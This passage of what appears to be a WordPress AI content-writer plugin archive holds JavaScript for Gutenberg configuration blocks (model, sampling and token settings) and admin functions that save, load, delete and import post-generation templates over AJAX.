{className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model\'s likelihood to talk about new topics.' ) ), gcel( 'input', { type:'number',min:-2,max:2,step:0.1,placeholder:'AI Presence Penalty', value: presence_penalty, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Frequency Penalty: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model\'s likelihood to repeat the same line verbatim.' ) ), gcel( 'input', { type:'number',min:-2,max:2,spte:0.1,placeholder:'AI Frequency Penalty', value: frequency_penalty, onChange: updateMessage5, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Minimum Character Count To Be Added: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the minimum character count to be added. If the API is not returning this amount of characters in a single call, the plugin will call the API multiple times.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Minimum Character Count', value: min_char, onChange: updateMessage6, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Maximum Tokens To Spend On A Single API Call: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the maximum number of tokens to spend on a single API call.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Max Token Count', value: max_tokens, onChange: updateMessage7, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Maximum Prompt Token Count: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the minimum character count to be added. If the API is not returning this amount of characters in a single call, the plugin will call the API multiple times.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Maximum Prompt Token Count', value: max_seed_tokens, onChange: updateMessage8, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Maximum Continue Call Token Count: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the maximum number of tokens to use for generating content on subsequent API calls (if the character count was not met in the first API request).' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Maximum Continue Call Token Count', value: max_continue_tokens, onChange: updateMessage9, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Assistant ID: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the assistant you want to use for this chatbot. This will disable the model you select and use the model set in the assistant settings. This needs to be the numeric ID of the Assistant Post type you created in the plugin.' ) ), gcel( 'input', { type:'text',placeholder:'Assistant ID', value: assistant_id, onChange: updateMessage18, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Model: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the AI model you want to use to generate the content.' ) ), gcel( 'select', { value: model, onChange: updateMessage10, className: 'coderevolution_gutenberg_select', dangerouslySetInnerHTML: { __html: editing_options } } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Maximum Number Of Related Headings to Add To The Content: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the maximum number of related headings to add to the created post content. This feature will use the \'People Also Ask\' feature from Google and Bing. By default, the Bing engine is scraped, if you want to enable also Google scraping, add a SerpAPI key in the plugin\'s \'Settings\' menu -> \'SerpAPI API Key\' settings field.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Maximum number of related headings', value: headings, onChange: updateMessage11, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Headings Model: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the AI model you want to use to generate the additional headings for the content.' ) ), gcel( 'select', { value: headings_model, onChange: updateMessage15, className: 'coderevolution_gutenberg_select', dangerouslySetInnerHTML: { __html: editing_options } } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Headings Prompt Expression: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set a prompt expression for the AI headings generator. You can also use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: "Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%"' ) ), gcel( 'textarea', { rows:1,placeholder:'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%', value: headings_ai_command, onChange: updateMessage16, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Maximum Number Of Related Images to Add To The Content: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the maximum number of related images to add to the created post content. This feature will use the \'Royalty Free Image\' settings from the plugin\'s \'Settings\' menu.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Maximum number of related images', value: images, onChange: updateMessage12, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Add A Related Video To The End Of The Content: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a related YouTube video to the end of to the created post content. This feature will require you to add at least one YouTube API key in the plugin\'s \'Settings\' -> \'YouTube API Key List\' settings field.' ) ), gcel( 'select', { value: videos, onChange: updateMessage13, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Caching Period For AI Generated Content (Seconds): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the caching period for AI generated content in seconds.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Caching period in seconds', value: cache_seconds, onChange: updateMessage14, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Disable AI Internet Access: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Do you want to disable AI internet access for this shortcode?' ) ), gcel( 'select', { value: no_internet, onChange: updateMessage17, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: '0'}, '0' ), gcel( 'option', { value: '1'}, '1' ) ) ); }), save: (function( props ) { return null; }), } );�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-completion.js����������������������������������������������������������������������0000644�����������������00000030023�14757771437�0012552 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; var editing_options = ''; if (Array.isArray(aiomatic_object.models)) { aiomatic_object.models.forEach(element => { editing_options += '<option value="' + element + '">' + element + '</option>'; }); } else if (typeof aiomatic_object.models === 'object' && aiomatic_object.models !== null) { Object.entries(aiomatic_object.models).forEach(([key, value]) => { editing_options += '<option value="' + key + '">' + value + '</option>'; }); } registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-completion', { title: 'AIomatic Text Completion Form', icon: 'text', category: 'embed', attributes: { temperature : { default: 'default', type: 'string', }, top_p : { default: 'default', type: 'string', }, presence_penalty : { default: 'default', type: 'string', }, frequency_penalty : { default: 'default', type: 'string', }, model : { default: 'default', type: 'string', }, user_token_cap_per_day : { default: '', type: 'string', }, prompt_templates : { default: '', type: 'string', }, prompt_editable : { default: '', type: 'string', }, assistant_id : { default: '', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var temperature = props.attributes.temperature; var top_p = props.attributes.top_p; var presence_penalty = props.attributes.presence_penalty; var frequency_penalty = props.attributes.frequency_penalty; var model = props.attributes.model; var user_token_cap_per_day = props.attributes.user_token_cap_per_day; var prompt_templates = props.attributes.prompt_templates; var prompt_editable = props.attributes.prompt_editable; var assistant_id = props.attributes.assistant_id; function updateMessage( event ) { props.setAttributes( { temperature: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { top_p: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { presence_penalty: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { frequency_penalty: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { model: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { user_token_cap_per_day: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { prompt_templates: event.target.value} ); } function updateMessage9( event ) { props.setAttributes( { prompt_editable: event.target.value} ); } function updateMessage10( event ) { props.setAttributes( { assistant_id: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Text Completion Form ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate AI text completion.' ) ) ), gcel( 'br' ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Temperature: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.' ) ), gcel( 'input', { type:'number',min:0,step:0.1,placeholder:'AI Temperature', value: temperature, onChange: updateMessage, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Top_p: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.' ) ), gcel( 'input', { type:'number',min:0,max:1,step:0.1,placeholder:'AI Top_p', value: top_p, onChange: updateMessage3, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Presence Penalty: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model\'s likelihood to talk about new topics.' ) ), gcel( 'input', { type:'number',min:-2,max:2,step:0.1,placeholder:'AI Presence Penalty', value: presence_penalty, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Frequency Penalty: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model\'s likelihood to repeat the same line verbatim.' ) ), gcel( 'input', { type:'number',min:-2,max:2,step:0.1,placeholder:'AI Frequency Penalty', value: frequency_penalty, onChange: updateMessage5, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Assistant ID: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the assistant you want to use for this chatbot. This will disable the model you select and use the model set in the assistant settings. This needs to be the numeric ID of the Assistant Post type you created in the plugin.' ) ), gcel( 'input', { type:'text',placeholder:'Assistant ID', value: assistant_id, onChange: updateMessage10, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Model: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the AI model you want to use to generate the content.' ) ), gcel( 'select', { value: model, onChange: updateMessage6, className: 'coderevolution_gutenberg_select', dangerouslySetInnerHTML: { __html: editing_options } } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Daily Token Count for Logged In Users: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Daily token count for users', value: user_token_cap_per_day, onChange: updateMessage7, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Templates (Semicolon Separated): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one.' ) ), gcel( 'input', { type:'text',placeholder:'Template1;Template2;Template3', value: prompt_templates, onChange: updateMessage8, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Editable: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select wheather the prompt will be editable by users. This is useful when combined with prompt templates from above, when you don\'t want the users to edit the entered template.' ) ), gcel( 'select', { value: prompt_editable, onChange: updateMessage9, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'yes'}, 'yes' ), gcel( 'option', { value: 'no'}, 'no' ) ), ); }), save: (function( props ) { return null; }), } );�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/single.js�����������������������������������������������������������������������������������0000644�����������������00000264442�14757771437�0010114 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function Refresh_Image_Single(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_ajax_object.nonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { jQuery('#aiomatic-preview-image').replaceWith( response.data.image ); } }); } function Refresh_Image_Single_Advanced(the_id){ var data = { action: 'aiomatic_get_image', id: the_id, nonce: aiomatic_ajax_object.nonce }; jQuery.get(ajaxurl, data, function(response) { if(response.success === true) { jQuery('#aiomatic-preview-image-advanced').replaceWith( response.data.image ); } }); } function singleAssistantChanged() { if(jQuery('#assistant_id_single').val() == '' || jQuery('#assistant_id_single').val() == null) { jQuery('.disableAssistantsDynamic').removeAttr('disabled'); } else { jQuery('.disableAssistantsDynamic').attr('disabled', 'disabled'); } } function hideImage(number) { if(jQuery('#enable_ai_images' + number).val() == '1' || jQuery('#enable_ai_images' + number).val() == '2') { jQuery('.hideImg' + number).show(); } else { jQuery('.hideImg' + number).hide(); } if(jQuery('#enable_ai_images' + number).val() == '1') { jQuery('.hideDalle' + number).show(); } else { jQuery('.hideDalle' + number).hide(); } } function addAiCustomField() { var metakeyinput = jQuery("#metakeyinput").val(); var metavalue = jQuery("#metavalue").val(); if(metakeyinput !== '') { var id = Math.random().toString(16).slice(2); var addvar = `<tr id="meta-` + id + `" class="alternate"> <td class="left"><label class="screen-reader-text" for="metakeyinput` + id + `">Key</label><input id="metakeyinput` + id + `" type="text" size="20" value="` + metakeyinput + `"><br/> <input type="button" data-id="` + id + `" class="wauto button deletemeta button-small dellmetanow" value="Delete"> </td> <td><label class="screen-reader-text" for="meta-value-` + id + `"Value></label><textarea id="metavalue` + id + `" rows="1" cols="30">` + metavalue + `</textarea><br/> <input type="button" id="generate_custom` + id + `" class="generate_custom wauto button cr_right" value="Generate AI Content" onclick="addAiCustomFieldContent('` + id + `');"></td> </tr>`; jQuery('#list-table-added tr:last').after(addvar); } } function addAiCustomFieldContent(variable) { var metakeyinput = jQuery("#metakeyinput" + variable).val(); if(metakeyinput == '') { alert('You must enter a custom field name first.'); } else { aiomatic_generate_ai_text(jQuery('#generate_custom' + variable), 'prompt_custom', 'generate_custom' + variable, 'metavalue' + variable, false, false, false); } } function aiomatic_save_template() { let template_name = prompt("Enter a name for the new template: ", "Template 1"); if (template_name != null && template_name != "") { if(template_name == 'Default Template') { alert('This name is reserved, it cannot be used'); return; } var template_options = {}; template_options['title'] = jQuery("#title").val(); template_options['topics'] = jQuery("#aiomatic_topics").val(); template_options['submit_status'] = jQuery( "#submit_status" ).val(); template_options['submit_type'] = jQuery( "#submit_type" ).val(); template_options['post_sticky'] = jQuery( "#post_sticky" ).val(); template_options['post_author'] = jQuery( "#post_author" ).val(); template_options['post_date'] = jQuery("#post_date").val(); template_options['post_category'] = jQuery('#post_category').val(); template_options['post_tags'] = jQuery("#post_tags").val(); template_options['language'] = jQuery("#language").val(); template_options['writing_style'] = jQuery("#writing_style").val(); template_options['writing_tone'] = jQuery("#writing_tone").val(); template_options['sections_count'] = jQuery( "#section_count" ).val(); template_options['paragraph_count'] = jQuery( "#paragraph_count" ).val(); template_options['model'] = jQuery( "#model" ).val(); template_options['assistant_id'] = jQuery( "#assistant_id_single" ).val(); template_options['max_tokens'] = jQuery("#max_tokens").val(); template_options['temperature'] = jQuery("#temperature").val(); template_options['prompt_title'] = jQuery("#prompt_title").val(); template_options['prompt_sections'] = jQuery("#prompt_sections").val(); template_options['prompt_content'] = jQuery("#prompt_content").val(); template_options['prompt_excerpt'] = jQuery("#prompt_excerpt").val(); template_options['prompt_custom'] = jQuery("#prompt_custom").val(); template_options['aiomatic_image_id'] = jQuery("#aiomatic_image_id").val(); jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_save_template', template_name: template_name, template_options: template_options, nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { jQuery('#template_manager').append(jQuery('<option>', { value: template_name, text: template_name })); alert("Template saved successfully!"); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while saving template: " + JSON.stringify(error)); } }); } } function aiomatic_save_template_advanced() { let template_name = prompt("Enter a name for the new template: ", "Template 1"); if (template_name != null && template_name != "") { if(template_name == 'Default Template') { alert('This name is reserved, it cannot be used'); return; } var template_options = {}; template_options['title_advanced'] = jQuery("#title_advanced").val(); template_options['posting_mode_changer'] = jQuery("#posting_mode_changer").val(); template_options['aiomatic_topics_list'] = jQuery("#aiomatic_topics_list").val(); template_options['aiomatic_listicle_list'] = jQuery("#aiomatic_listicle_list").val(); template_options['aiomatic_titles'] = jQuery("#aiomatic_titles").val(); template_options['aiomatic_youtube'] = jQuery("#aiomatic_youtube").val(); template_options['aiomatic_roundup'] = jQuery("#aiomatic_roundup").val(); template_options['aiomatic_review'] = jQuery("#aiomatic_review").val(); template_options['csv_title'] = jQuery("#csv_title").val(); template_options['submit_status_advanced'] = jQuery( "#submit_status_advanced" ).val(); template_options['submit_type_advanced'] = jQuery( "#submit_type_advanced" ).val(); template_options['post_sticky_advanced'] = jQuery( "#post_sticky_advanced" ).val(); template_options['post_author_advanced'] = jQuery( "#post_author_advanced" ).val(); template_options['post_date_advanced'] = jQuery("#post_date_advanced").val(); template_options['post_category_advanced'] = jQuery('#post_category_advanced').val(); template_options['post_tags_advanced'] = jQuery("#post_tags_advanced").val(); template_options['aiomatic_image_id_advanced'] = jQuery("#aiomatic_image_id_advanced").val(); var newselectedarr = ['1a', '1b', '2', '3', '4', '5', '6']; newselectedarr.forEach((element) => jQuery('.valuesai' + element).each(function() { var innerctrl = jQuery(this); if(innerctrl.is('input:text')) { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'number') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('select')) { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('textarea')) { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'checkbox') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { if(innerctrl.is(":checked")) { template_options[innerctrl.attr('id')] = '1'; } else { template_options[innerctrl.attr('id')] = '0'; } } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'color') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'date') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'datetime-local') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'email') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'hidden') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'password') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } else if(innerctrl.is('input') && innerctrl.prop('type') == 'url') { if(innerctrl.attr('id') !== undefined && innerctrl.attr('id') !== '') { template_options[innerctrl.attr('id')] = innerctrl.val(); } } }) ); jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_save_template_advanced', template_name: template_name, template_options: template_options, nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { jQuery('#template_manager_advanced').append(jQuery('<option>', { value: template_name, text: template_name })); alert("Template saved successfully!"); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while saving template: " + JSON.stringify(error)); } }); } } function aiomatic_delete_template() { if (confirm("Are you sure you want to delete this template?")) { var template_name = jQuery( "#template_manager option:selected" ).text(); if (template_name != null && template_name != "") { if(template_name == 'Default Template') { alert('This is the default template, it cannot be deleted'); return; } jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_delete_template', template_name: template_name, nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { jQuery("#template_manager option[value='" + template_name.replace("'", "\'") + "']").remove(); alert("Template deleted successfully!"); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while saving template: " + JSON.stringify(error)); } }); } else { alert('No template selected'); } } } function aiomatic_delete_template_advanced() { if (confirm("Are you sure you want to delete this template?")) { var template_name = jQuery( "#template_manager_advanced option:selected" ).text(); if (template_name != null && template_name != "") { if(template_name == 'Default Template') { alert('This is the default template, it cannot be deleted'); return; } jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_delete_template_advanced', template_name: template_name, nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { jQuery("#template_manager_advanced option[value='" + template_name.replace("'", "\'") + "']").remove(); alert("Template deleted successfully!"); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while saving template: " + JSON.stringify(error)); } }); } else { alert('No template selected'); } } } function aiomatic_load_template() { if (confirm("Are you sure you want to load this template?")) { var template_name = jQuery( "#template_manager option:selected" ).text(); if (template_name != null && template_name != "") { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_load_template', template_name: template_name, nonce: aiomatic_ajax_object.nonce }, success: function(response) { if (response.success) { if(response.data.content['title'] !== undefined) { jQuery("#title").val(response.data.content['title']); } if(response.data.content['topics'] !== undefined) { jQuery("#aiomatic_topics").val(response.data.content['topics']); } if(response.data.content['submit_status'] !== undefined) { jQuery("#submit_status option").each(function() { if(jQuery(this).val() == response.data.content['submit_status']) { jQuery(this).prop('selected', true); } }); } if(response.data.content['submit_type'] !== undefined) { jQuery("#submit_type option").each(function() { if(jQuery(this).val() == response.data.content['submit_type']) { jQuery(this).prop('selected', true); } }); } if(response.data.content['post_sticky'] !== undefined) { jQuery("#post_sticky option").each(function() { if(jQuery(this).val() == response.data.content['post_sticky']) { jQuery(this).prop('selected', true); } }); } if(response.data.content['post_author'] !== undefined) { jQuery("#post_author option").each(function() { if(jQuery(this).val() == response.data.content['post_author']) { jQuery(this).prop('selected', true); } }); } if(response.data.content['post_date'] !== undefined) { jQuery("#post_date").val(response.data.content['post_date']); } if(response.data.content['post_category'] !== undefined) { jQuery("#post_category option").each(function() { if(response.data.content['post_category'].includes(jQuery(this).val())) { jQuery(this).prop('selected', true); } else { jQuery(this).prop('selected', false); } }); } if(response.data.content['post_tags'] !== undefined) { jQuery("#post_tags").val(response.data.content['post_tags']); } if(response.data.content['language'] !== undefined) { jQuery("#language").val(response.data.content['language']); } if(response.data.content['writing_style'] !== undefined) { jQuery("#writing_style").val(response.data.content['writing_style']); } if(response.data.content['writing_tone'] !== undefined) { jQuery("#writing_tone").val(response.data.content['writing_tone']); } if(response.data.content['sections_count'] !== undefined) { jQuery("#sections_count option").each(function() { if(jQuery(this).val() == response.data.content['sections_count']) { jQuery(this).prop('selected', true); } }); } if(response.data.content['paragraph_count'] !== undefined) { jQuery("#paragraph_count option").each(function() { if(jQuery(this).val() == response.data.content['paragraph_count']) { jQuery(this).prop('selected', true); } }); } if(response.data.content['model'] !== undefined) { jQuery("#model option").each(function() { if(jQuery(this).val() == response.data.content['model']) { jQuery(this).prop('selected', true); } }); } if(response.data.content['assistant_id'] !== undefined) { jQuery("#assistant_id_single option").each(function() { if(jQuery(this).val() == response.data.content['assistant_id']) { jQuery(this).prop('selected', true); } }); } if(response.data.content['max_tokens'] !== undefined) { jQuery("#max_tokens").val(response.data.content['max_tokens']); } if(response.data.content['temperature'] !== undefined) { jQuery("#temperature").val(response.data.content['temperature']); } if(response.data.content['prompt_title'] !== undefined) { jQuery("#prompt_title").val(response.data.content['prompt_title']); } if(response.data.content['prompt_sections'] !== undefined) { jQuery("#prompt_sections").val(response.data.content['prompt_sections']); } if(response.data.content['prompt_content'] !== undefined) { jQuery("#prompt_content").val(response.data.content['prompt_content']); } if(response.data.content['prompt_excerpt'] !== undefined) { jQuery("#prompt_excerpt").val(response.data.content['prompt_excerpt']); } if(response.data.content['prompt_custom'] !== undefined) { jQuery("#prompt_custom").val(response.data.content['prompt_custom']); } if(response.data.content['aiomatic_image_id'] !== undefined) { jQuery("#aiomatic_image_id").val(response.data.content['aiomatic_image_id']); if(response.data.content['aiomatic_image_id'] != '') { Refresh_Image_Single(response.data.content['aiomatic_image_id']); } } singleAssistantChanged(); alert("Template loaded successfully!"); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while loading template: " + JSON.stringify(error)); } }); } else { alert('No template selected'); } } } function aiomatic_import_template() { document.getElementById('import_template_file').addEventListener('change', function(event) { const file = event.target.files[0]; if (file) { const reader = new FileReader(); reader.onload = function(e) { const content = e.target.result; try { window.onbeforeunload = null; const templates = JSON.parse(content); if (aiomaticIsValidTemplate(templates)) { aiomatic_call_import_templates(templates); } else { alert('Invalid template file uploaded'); } } catch (error) { alert('Invalid JSON file'); } }; reader.readAsText(file); } }); document.getElementById('import_template_file').click(); } function aiomatic_call_import_templates(templates) { jQuery.ajax({ type: 'POST', url: aiomatic_ajax_object.ajax_url, data: { action: 'aiomatic_import_templates', nonce: aiomatic_ajax_object.nonce, templates: templates }, success: function(response) { if (response.success) { alert('Templates imported successfully.'); location.reload(); } else { alert('Error: ' + response.data.message); } }, error: function(error) { alert("An error occurred while importing templates: " + JSON.stringify(error)); } }); } function aiomatic_import_template_advanced() { document.getElementById('import_template_file_advanced').addEventListener('change', function(event) { const file = event.target.files[0]; if (file) { const reader = new FileReader(); reader.onload = function(e) { const content = e.target.result; try { window.onbeforeunload = null; const templates = 